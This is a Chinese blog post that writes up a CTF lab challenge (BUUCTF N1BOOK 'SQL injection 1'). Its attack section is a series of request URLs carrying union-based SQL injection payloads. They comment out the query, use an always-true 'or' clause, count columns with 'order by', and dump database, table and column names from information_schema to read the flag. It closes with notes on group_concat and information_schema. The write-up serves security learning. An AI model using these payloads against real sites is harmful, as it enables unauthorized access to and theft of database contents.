CTF刷题记录之Buuctf-N1BOOK——sql注入1

Buuctf刷题————N1BOOK——sql注入1

一、思路

在这里插入图片描述
1.URL后面的id=1,2,3;会出现不同的界面,但是,但我们输入4时,发现没有回显

在这里插入图片描述

2.推测有有三列,还是老方法,
http://4d366f97-7645-4633-a532-1b86e5b44f90.node3.buuoj.cn/index.php?id=1’

在这里插入图片描述
没有回显,当我们使用#注释’的时候,发现没有回显
http://4d366f97-7645-4633-a532-1b86e5b44f90.node3.buuoj.cn/index.php?id=1’#

在这里插入图片描述

那就是编码的问题,使用%23进行注释
http://4d366f97-7645-4633-a532-1b86e5b44f90.node3.buuoj.cn/index.php?id=1%27%23

发现单引号被注释
在这里插入图片描述

3.测试and,or是否被过滤
在这里插入图片描述
在这里插入图片描述
and没有被过滤

在这里插入图片描述
在这里插入图片描述
or也没被过滤,使用万能密码可以注入,但是没什么用
http://4d366f97-7645-4633-a532-1b86e5b44f90.node3.buuoj.cn/index.php?id=1%27%20or%20%271%27=%271%23

在这里插入图片描述

刚才推测的三列,得到验证
http://4d366f97-7645-4633-a532-1b86e5b44f90.node3.buuoj.cn/index.php?id=1%27%20order%20by%201,2,3%23

在这里插入图片描述
http://4d366f97-7645-4633-a532-1b86e5b44f90.node3.buuoj.cn/index.php?id=1%27%20order%20by%201,2,3,4%23

在这里插入图片描述
4.找显位点,有个细节问题就是,经过我多次测试,原来id后面的数字,除了正常回显的1,2,3这三个数字之外的字母或数字就可以找到,显位点,使用的是堆叠(union 注入)
http://4d366f97-7645-4633-a532-1b86e5b44f90.node3.buuoj.cn/index.php?id=a%27%20union%20select%201,2,3%23

在这里插入图片描述

(union注入)参考链接:
https://blog.csdn.net/Candyys/article/details/105542662

找到显位点是2或3,直接爆库成功,库名为:note

在这里插入图片描述

5.爆表,出了点小问题,2这个显位点,报表不可以,只能选择3这个位置了
http://4d366f97-7645-4633-a532-1b86e5b44f90.node3.buuoj.cn/index.php?id=4’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’note’%23
表名:fl4g,notes

在这里插入图片描述

6.我们要的是flag,因此就选用fl4g这个表,爆字段的时候到了,嘻嘻
http://4d366f97-7645-4633-a532-1b86e5b44f90.node3.buuoj.cn/index.php?id=4’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘fl4g’%23
字段名为:fllllag

在这里插入图片描述

7.知道字段名,爆数据走一波,
http://3387232d-9307-48df-8866-25d7a7282c21.node3.buuoj.cn/index.php?id=4’ union select 1,2,group_concat(fllllag) from fl4g%23

在这里插入图片描述

8.成功得到flag,哈哈哈,超级开心
n1book{union_select_is_so_cool}

二、知识点:
1.Sql中group_concat用法
基本用法:group_concat([DISTINCT]要连接的字段[order by ASC/DESC 排序字段][separator ’分隔符’])
常常用于关联查询,并且表数据对应的关系为一对多,将结果返回一条数据

在这里插入图片描述

在这里插入图片描述
2.MySQL中的information_schema数据库
参考链接:https://blog.csdn.net/u014639561/article/details/51579161
information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。

在这里插入图片描述

schemata表:展示当前mysql实例中所有数据库的信息。

在这里插入图片描述

TABLES表:
存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。

COLUMNS表:
存储表中的列信息,包括表有多少列,每一个列的类型等。

在这里插入图片描述

三、总结
通过这道题,理了一下SQL注入的思路。并且学习了一些SQL的基础知识,group_concat()函数的作用,还有information_schema表的运用。

参考链接:https://www.cnblogs.com/darkerg/p/14781191.html

  • 2
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值